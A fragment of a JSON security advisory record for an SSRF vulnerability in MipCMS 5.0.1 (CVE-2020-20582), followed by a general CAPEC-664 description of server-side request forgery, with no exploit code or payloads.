"github_reviewed_at": null,
"nvd_published_at": "2021-07-08T16:15:00Z",
"severity": "HIGH"
},
"details": "A server side request forgery (SSRF) vulnerability in /ApiAdminDomainSettings.php of MipCMS 5.0.1 allows attackers to access sensitive information.",
"id": "GHSA-xpvp-wh4v-ppc2",
"modified": "2022-05-24T19:07:14Z",
"published": "2022-05-24T19:07:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20582"
},
{
"type": "WEB",
"url": "https://github.com/sansanyun/mipcms5/issues/5"
}
],
"schema_version": "1.4.0",
"severity": []
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.